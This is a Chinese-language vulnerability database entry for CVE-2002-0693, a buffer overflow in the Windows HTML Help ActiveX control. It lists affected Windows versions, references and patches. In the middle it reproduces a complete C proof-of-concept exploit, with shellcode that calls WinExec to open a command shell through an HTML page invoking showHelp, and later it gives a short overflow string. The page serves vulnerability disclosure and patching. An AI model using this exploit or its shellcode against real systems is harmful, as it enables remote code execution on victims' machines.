CVE-2002-0693
CVSS7.5
发布时间 :2002-10-10 00:00:00
修订时间 :2016-10-17 22:21:29
NMCOES    

[原文]Buffer overflow in the HTML Help ActiveX Control (hhctrl.ocx) in Microsoft Windows 98, 98 Second Edition, Millennium Edition, NT 4.0, NT 4.0 Terminal Server Edition, Windows 2000, and Windows XP allows remote attackers to execute code via (1) a long parameter to the Alink function, or (2) script containing a long argument to the showHelp function.


[CNNVD]Microsoft Windows Help Facility ActiveX控件缓冲区溢出漏洞(CNNVD-200210-246)

        Microsoft Windows 98版本、98 Second Edition、Millennium Edition、NT 4.0版本、NT 4.0 Terminal Server Edition、Windows 2000版本和Windows XP版本中HTML Help ActiveX Control (hhctrl.ocx)存在缓冲区溢出漏洞。远程攻击者可以借助(1)Alink函数的超长参数,或(2)包含showHelp函数中超长参数的脚本执行代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:microsoft:windows_98seMicrosoft windows 98_se
cpe:/o:microsoft:windows_nt:4.0:sp6a:serverMicrosoft Windows 4.0 sp6a server
cpe:/o:microsoft:windows_2000::sp3:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP3
cpe:/o:microsoft:windows_nt:4.0:sp6a:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP6a
cpe:/o:microsoft:windows_2000::sp1:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP1
cpe:/o:microsoft:windows_2000::sp2:datacenter_serverMicrosoft Windows 2000 Datacenter Server SP2
cpe:/o:microsoft:windows_nt:4.0:sp5:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP5
cpe:/o:microsoft:windows_nt:4.0:sp2:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP2
cpe:/o:microsoft:windows_nt:4.0:sp6:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP6
cpe:/o:microsoft:windows_nt:4.0:sp6a:enterprise_server
cpe:/o:microsoft:windows_2000:::advanced_server
cpe:/o:microsoft:windows_nt:4.0:sp5:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp6:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp6a:workstationMicrosoft Windows 4.0 sp6a workstation
cpe:/o:microsoft:windows_2000::sp3:professionalMicrosoft Windows 2000 Professional SP3
cpe:/o:microsoft:windows_2000_terminal_services::sp2
cpe:/o:microsoft:windows_nt:4.0:sp5:serverMicrosoft Windows 4.0 sp5 server
cpe:/o:microsoft:windows_2000::sp1:professionalMicrosoft Windows 2000 Professional SP1
cpe:/o:microsoft:windows_nt:4.0:sp6:serverMicrosoft Windows 4.0 sp6 server
cpe:/o:microsoft:windows_2000::sp2:professionalMicrosoft Windows 2000 Professional SP2
cpe:/o:microsoft:windows_nt:4.0:sp3:serverMicrosoft Windows 4.0 sp3 server
cpe:/o:microsoft:windows_2000:::datacenter_server
cpe:/o:microsoft:windows_nt:4.0:sp4:serverMicrosoft Windows 4.0 sp4 server
cpe:/o:microsoft:windows_nt:4.0:sp1:serverMicrosoft Windows 4.0 sp1 server
cpe:/o:microsoft:windows_nt:4.0::terminal_server
cpe:/o:microsoft:windows_nt:4.0:sp2:serverMicrosoft Windows 4.0 sp2 server
cpe:/o:microsoft:windows_2000::sp1:serverMicrosoft Windows 2000 Server SP1
cpe:/o:microsoft:windows_2000::sp3:serverMicrosoft Windows 2000 Server SP3
cpe:/o:microsoft:windows_2000::sp2:serverMicrosoft Windows 2000 Server SP2
cpe:/o:microsoft:windows_nt:4.0:sp5:workstationMicrosoft Windows 4.0 sp5 workstation
cpe:/o:microsoft:windows_xp::sp1:home
cpe:/o:microsoft:windows_nt:4.0:sp6:workstationMicrosoft Windows 4.0 sp6 workstation
cpe:/o:microsoft:windows_nt:4.0:sp3:workstationMicrosoft Windows 4.0 sp3 workstation
cpe:/o:microsoft:windows_nt:4.0:sp4:workstationMicrosoft Windows 4.0 sp4 workstation
cpe:/o:microsoft:windows_nt:4.0:sp1:workstationMicrosoft Windows 4.0 sp1 workstation
cpe:/o:microsoft:windows_nt:4.0:sp2:workstationMicrosoft Windows 4.0 sp2 workstation
cpe:/o:microsoft:windows_nt:4.0::workstation
cpe:/o:microsoft:windows_2000_terminal_services::sp3
cpe:/o:microsoft:windows_nt:4.0::enterprise_server
cpe:/o:microsoft:windows_2000_terminal_services::sp1
cpe:/o:microsoft:windows_nt:4.0:sp3:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp4:enterprise_server
cpe:/o:microsoft:windows_2000_terminal_services
cpe:/o:microsoft:windows_nt:4.0:sp1:enterprise_server
cpe:/o:microsoft:windows_nt:4.0:sp2:enterprise_server
cpe:/o:microsoft:windows_nt:4.0::server
cpe:/o:microsoft:windows_nt:4.0:sp4:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP4
cpe:/o:microsoft:windows_nt:4.0:sp1:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP1
cpe:/o:microsoft:windows_nt:4.0:sp3:terminal_serverMicrosoft Windows NT Terminal Server 4.0 SP3
cpe:/o:microsoft:windows_xp::gold:professionalMicrosoft Windows XP Professional Gold
cpe:/o:microsoft:windows_meMicrosoft Windows ME
cpe:/o:microsoft:windows_2000::sp3:advanced_serverMicrosoft Windows 2000 Advanced Server SP3
cpe:/o:microsoft:windows_2000::sp2:advanced_serverMicrosoft Windows 2000 Advanced Server SP2
cpe:/o:microsoft:windows_2000::sp1:advanced_serverMicrosoft Windows 2000 Advanced Server SP1
cpe:/o:microsoft:windows_2000:::server
cpe:/o:microsoft:windows_2000:::professional
cpe:/o:microsoft:windows_xp:::home
cpe:/o:microsoft:windows_98::goldMicrosoft windows 98_gold

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:374HTML Help ActiveX Control Buffer Overflow
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0693
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-0693
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200210-246
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=103365849505409&w=2
(UNKNOWN)  BUGTRAQ  20021003 Buffer Overflow in IE/Outlook HTML Help
http://marc.info/?l=bugtraq&m=103419115517344&w=2
(UNKNOWN)  BUGTRAQ  20021009 Thor Larholm security advisory TL#004
http://marc.info/?l=bugtraq&m=103435279404182&w=2
(UNKNOWN)  BUGTRAQ  20021010 prover of concept code of windows help overflow
http://www.iss.net/security_center/static/10253.php
(VENDOR_ADVISORY)  XF  win-html-help-bo(10253)
http://www.microsoft.com/technet/security/bulletin/ms02-055.asp
(VENDOR_ADVISORY)  MS  MS02-055
http://www.securityfocus.com/bid/5874
(UNKNOWN)  BID  5874

- 漏洞信息

Microsoft Windows Help Facility ActiveX控件缓冲区溢出漏洞
高危 缓冲区溢出
2002-10-10 00:00:00 2005-10-20 00:00:00
远程※本地  
        Microsoft Windows 98版本、98 Second Edition、Millennium Edition、NT 4.0版本、NT 4.0 Terminal Server Edition、Windows 2000版本和Windows XP版本中HTML Help ActiveX Control (hhctrl.ocx)存在缓冲区溢出漏洞。远程攻击者可以借助(1)Alink函数的超长参数,或(2)包含showHelp函数中超长参数的脚本执行代码。

- 公告与补丁

        Microsoft has released patches. The patch for Windows ME is available through the Windows Update website. It is important to note that these patches require Internet Explorer 5.01, 5.5 or 6 to be installed on the system.
        Microsoft Windows 2000 Server SP2
        
        Microsoft Windows 2000 Advanced Server SP1
        
        Microsoft Windows 2000 Advanced Server SP2
        
        Microsoft Windows 2000 Professional SP3
        
        Microsoft Windows 98SE
        
        Microsoft Windows 2000 Professional SP2
        
        Microsoft Windows 2000 Professional
        
        Microsoft Windows 98
        
        Microsoft Windows 2000 Advanced Server SP3
        
        Microsoft Windows XP Home
        
        Microsoft Windows XP Home SP1
        
        Microsoft Windows 2000 Professional SP1
        
        Microsoft Windows 2000 Server SP3
        
        Microsoft Windows 2000 Server SP1
        
        Microsoft Windows XP Professional
        
        Microsoft Windows XP Professional SP1
        
        Microsoft Windows 2000 Advanced Server
        
        Microsoft Windows 2000 Server
        
        Microsoft Windows NT Enterprise Server 4.0
        
        Microsoft Windows NT Terminal Server 4.0
        
        Microsoft Windows NT Workstation 4.0 SP6a
        
        Microsoft Windows NT Enterprise Server 4.0 SP3
        
        Microsoft Windows NT Workstation 4.0 SP5
        
        Microsoft Windows NT Enterprise Server 4.0 SP4
        
        Microsoft Windows NT Workstation 4.0 SP2
        

- 漏洞信息 (21902)

MS Windows XP/2000/NT 4 Help Facility ActiveX Control Buffer Overflow (EDBID:21902)
windows remote
2002-10-07 Verified
0 ipxodi
N/A [点击下载]
source: http://www.securityfocus.com/bid/5874/info

The ActiveX control that provides much of the functionality for the Windows Help Center contains an unchecked buffer. Successful exploitation could result in execution of arbitrary code in the security context of the current user.

/*
By ipxodi@whitecell.org 10.07.2002

prove of concept code of Windows Help buffer overflow.
Bug discovered by 
For tech detail see "Thor Larholm security advisory TL#004".
To Use:
cl ex.c
Run as:
ex > ex.htm
start ex.htm    (be sure to set iexplore as your default htm viewer.)
You will get a cmd shell.

Tested on IE 5.5, IE5.5 SP2, IE 6.0.
other version untested.
*/

#include <windows.h>
#include <stdio.h>


char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x03" "\x80\x6D\xF8\x50" 
		"\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\xFF\xD0\x33\xC0\x50\x90\xB8" "EXIT" "\xFF\xD0\xC3";

char shellcode_encode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x53" "\x80\x6D\xF8\x50" 
		"\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\x2C\x78" "\xFF\xD0" "\x41\x33\xC0\x50\x90\xB8""EXIT" "\x2C\x78" "\xFF\xD0\xC3";

void EncodeFuncAddr(char * shellcode,DWORD addr,char * pattern)
{
	unsigned char * p ;
	p = strstr(shellcode,pattern);
	if(p)	{
		if( *(p+4) == '\xFF' )	
			memcpy(p,&addr,4);
		else {
			if((addr & 0xFF) > 0x80)	{
				memcpy(p,&addr,4);	
				*(p+4) = 0x90;
				*(p+5) = 0x90;
			}else	{
				addr += 0x78;
				memcpy(p,&addr,4);
			}
		}
	}
}

int ModifyFuncAddr(char * shellcode)
{
	char * temp="0123456789ABCDEF";
	HMODULE hdl;
	unsigned char * p ;
	DWORD pAddr_WinExec ,pAddr_Exit ;

	hdl = LoadLibrary("kernel32.dll");
	pAddr_WinExec = GetProcAddress(hdl,"WinExec");
	pAddr_Exit = GetProcAddress(hdl,"ExitProcess"); 
	fprintf(stderr,"Find WinExec at Address %x, ExitProcess at Address %x\n",pAddr_WinExec,pAddr_Exit);
	EncodeFuncAddr(shellcode,pAddr_WinExec,"EXEC");
	EncodeFuncAddr(shellcode,pAddr_Exit,"EXIT");
}


void Validate(char * shellcode)
{
	unsigned char *p, *foo = "\\\/:*?\"<>|";
	for(;*foo;foo++)	{
		p = strchr(shellcode,*foo);
		if(p)	{
			fprintf(stderr,"ERROR:ShellCode Contains Invalid Char For File name: %s\n",p);
		}
	}
}

#define Valid(c)	(c>0x30)
int FindCode(char * code)
{
	DWORD addr;
	unsigned char * p = (unsigned char * )LoadLibrary("kernel32.dll");

	for(;p < 0x77f00000;p++)
		if(memcmp(p,code,2)==0)	{
			fprintf(stderr,"Find Code at Address %x\n",p);
			addr = (DWORD) p;
			if( (addr &0xFF )>0x30 && ((addr>>8)&0xFF)>0x30&& ((addr>>16)&0xFF)>0x30 && ((addr>>24)&0xFF)>0x30 )
				return p;
		}
	return 0;
}
int main(int argc, char ** argv)
{
	char * prefix = "<script type=\"text/javascript\">showHelp(\"";
	char *postfix = "\");</script>";
	char buff[1024];
	int mode = 2;
	char * pCode = buff, *shell;
	DWORD addr;
	int offset = 784;
	
	if(argc > 3 )	{
		printf("Usage:   %s [mode] [offset]",argv[0]);
		printf("Normal:  %s 1 784",argv[0]);
		printf("Advanc:  %s 2 784",argv[0]);
		exit(0);
	}else if(argc == 3 )	{
		offset = atoi(argv[2]);
		mode = atoi(argv[1]);
	};
	fprintf(stderr,"Mode %d, Using Offset %d\n",mode,offset);
	memset(buff,0x41,1023);
	
	memcpy(pCode, "A:\\\xC0",4);	//cmp al,al as a nop.
	
	switch(mode)	{
		case 1: shell = shellcode; break;
		case 2: shell = shellcode_encode;break;
		case 3: {
				sprintf(buff +offset, "abcd");
				printf("%s%s%s",prefix,buff,postfix);
				return ;
				}
	}
	ModifyFuncAddr(shell);
	Validate(shell);
	memcpy(pCode+0x10,shell,strlen(shell));
	pCode = buff + offset;
	addr = FindCode("\xFF\xE7");	// jmp edi
	*(int*)pCode = addr ? addr : 0x77e79d02;
	*(pCode+4)=0;
	printf("%s%s%s",prefix,buff,postfix);
}
	
		

- 漏洞信息

2992
Microsoft IE HTML Help ActiveX Control alink and showHelp Overflow
Remote / Network Access, Context Dependent Input Manipulation
Loss of Integrity

- 漏洞描述

Microsoft Windows HTML Help ActiveX Control contains a flaw that allows remote attackers to execute arbitrary code. The flaw occurs due to an unchecked buffer in the hhctrl.ocx file. This can be exploited by using a long parameter to the "Alink" function or a script containing a long argument to the "showHelp" function.

- 时间线

2002-10-03 Unknow
2002-10-03 Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch (Q323255) to address this vulnerability.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Microsoft Windows Help Facility ActiveX Control Buffer Overflow Vulnerability
Boundary Condition Error 5874
Yes Yes
2002-10-03 12:00:00 2009-07-11 05:06:00
Discovery credited to David Litchfield of Next Generation Security Software Ltd. and Thor Larholm of PivX Solutions, LLC.

- 受影响的程序版本

Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT Workstation 4.0 SP5
Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT Workstation 4.0
Microsoft Windows NT Terminal Server 4.0 SP6
Microsoft Windows NT Terminal Server 4.0 SP5
Microsoft Windows NT Terminal Server 4.0 SP4
Microsoft Windows NT Terminal Server 4.0 SP3
Microsoft Windows NT Terminal Server 4.0 SP2
Microsoft Windows NT Terminal Server 4.0 SP1
Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT Server 4.0 SP6a
+ Avaya DefinityOne Media Servers
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
+ Avaya S8100 Media Servers 0
Microsoft Windows NT Server 4.0 SP6
Microsoft Windows NT Server 4.0 SP5
Microsoft Windows NT Server 4.0 SP4
Microsoft Windows NT Server 4.0 SP3
Microsoft Windows NT Server 4.0 SP2
Microsoft Windows NT Server 4.0 SP1
Microsoft Windows NT Server 4.0
Microsoft Windows NT Enterprise Server 4.0 SP6a
Microsoft Windows NT Enterprise Server 4.0 SP6
Microsoft Windows NT Enterprise Server 4.0 SP5
Microsoft Windows NT Enterprise Server 4.0 SP4
Microsoft Windows NT Enterprise Server 4.0 SP3
Microsoft Windows NT Enterprise Server 4.0 SP2
Microsoft Windows NT Enterprise Server 4.0 SP1
Microsoft Windows NT Enterprise Server 4.0
Microsoft Windows ME
Microsoft Windows 98SE
Microsoft Windows 98
Microsoft Windows 2000 Terminal Services SP3
+ Microsoft Windows 2000 Advanced Server SP3
+ Microsoft Windows 2000 Datacenter Server SP3
+ Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Terminal Services SP2
+ Microsoft Windows 2000 Advanced Server SP2
+ Microsoft Windows 2000 Datacenter Server SP2
+ Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Terminal Services SP1
+ Microsoft Windows 2000 Advanced Server SP1
+ Microsoft Windows 2000 Datacenter Server SP1
+ Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Terminal Services
+ Microsoft Windows 2000 Advanced Server
+ Microsoft Windows 2000 Datacenter Server
+ Microsoft Windows 2000 Server
Microsoft Windows 2000 Server SP3
Microsoft Windows 2000 Server SP2
Microsoft Windows 2000 Server SP1
Microsoft Windows 2000 Server
+ Avaya DefinityOne Media Servers
+ Avaya IP600 Media Servers
+ Avaya S3400 Message Application Server 0
+ Avaya S8100 Media Servers 0
Microsoft Windows 2000 Professional SP3
Microsoft Windows 2000 Professional SP2
Microsoft Windows 2000 Professional SP1
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Datacenter Server SP3
Microsoft Windows 2000 Datacenter Server SP2
Microsoft Windows 2000 Datacenter Server SP1
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server SP3
Microsoft Windows 2000 Advanced Server SP2
Microsoft Windows 2000 Advanced Server SP1
Microsoft Windows 2000 Advanced Server

- 漏洞讨论

The ActiveX control that provides much of the functionality for the Windows Help Center contains an unchecked buffer. Successful exploitation could result in execution of arbitrary code in the security context of the current user.

- 漏洞利用

Thor Larholm has provided the following exploit code and proof of concept:

&lt;script&gt;showHelp( A*796 );&lt;/script&gt;

http://www.pivx.com/larholm/adv/TL004/simple.html

http://www.pivx.com/larholm/adv/TL004/number.html

An exploit has been released by buzheng &lt;bu_zheng@sina.com&gt;:

- 解决方案

Microsoft has released patches. The patch for Windows ME is available through the Windows Update website. It is important to note that these patches require Internet Explorer 5.01, 5.5 or 6 to be installed on the system.


Microsoft Windows 2000 Server SP2

Microsoft Windows NT Enterprise Server 4.0

Microsoft Windows 2000 Advanced Server SP1

Microsoft Windows 2000 Advanced Server SP2

Microsoft Windows NT Terminal Server 4.0

Microsoft Windows NT Workstation 4.0 SP6a

Microsoft Windows NT Enterprise Server 4.0 SP3

Microsoft Windows NT Workstation 4.0 SP5

Microsoft Windows NT Enterprise Server 4.0 SP4

Microsoft Windows NT Workstation 4.0 SP2

Microsoft Windows NT Enterprise Server 4.0 SP5

Microsoft Windows NT Workstation 4.0 SP4

Microsoft Windows NT Terminal Server 4.0 SP2

Microsoft Windows 2000 Professional SP3

Microsoft Windows 98SE

Microsoft Windows NT Server 4.0 SP6a

Microsoft Windows NT Terminal Server 4.0 SP4

Microsoft Windows 2000 Professional SP2

Microsoft Windows NT Enterprise Server 4.0 SP1

Microsoft Windows 2000 Professional

Microsoft Windows 98

Microsoft Windows NT Terminal Server 4.0 SP1

Microsoft Windows 2000 Advanced Server SP3

Microsoft Windows XP Home

Microsoft Windows NT Enterprise Server 4.0 SP2

Microsoft Windows XP Home SP1

Microsoft Windows NT Server 4.0 SP3

Microsoft Windows NT Terminal Server 4.0 SP3

Microsoft Windows NT Workstation 4.0 SP6

Microsoft Windows NT Server 4.0 SP1

Microsoft Windows NT Workstation 4.0

Microsoft Windows 2000 Professional SP1

Microsoft Windows NT Enterprise Server 4.0 SP6

Microsoft Windows NT Server 4.0

Microsoft Windows 2000 Server SP3

Microsoft Windows NT Terminal Server 4.0 SP6

Microsoft Windows NT Workstation 4.0 SP3

Microsoft Windows NT Enterprise Server 4.0 SP6a

Microsoft Windows NT Server 4.0 SP6

Microsoft Windows 2000 Server SP1

Microsoft Windows NT Server 4.0 SP5

Microsoft Windows NT Server 4.0 SP2

Microsoft Windows NT Terminal Server 4.0 SP5

Microsoft Windows NT Workstation 4.0 SP1

Microsoft Windows XP Professional

Microsoft Windows XP Professional SP1

Microsoft Windows 2000 Advanced Server

Microsoft Windows 2000 Server

Microsoft Windows NT Server 4.0 SP4

- 相关参考

 

 

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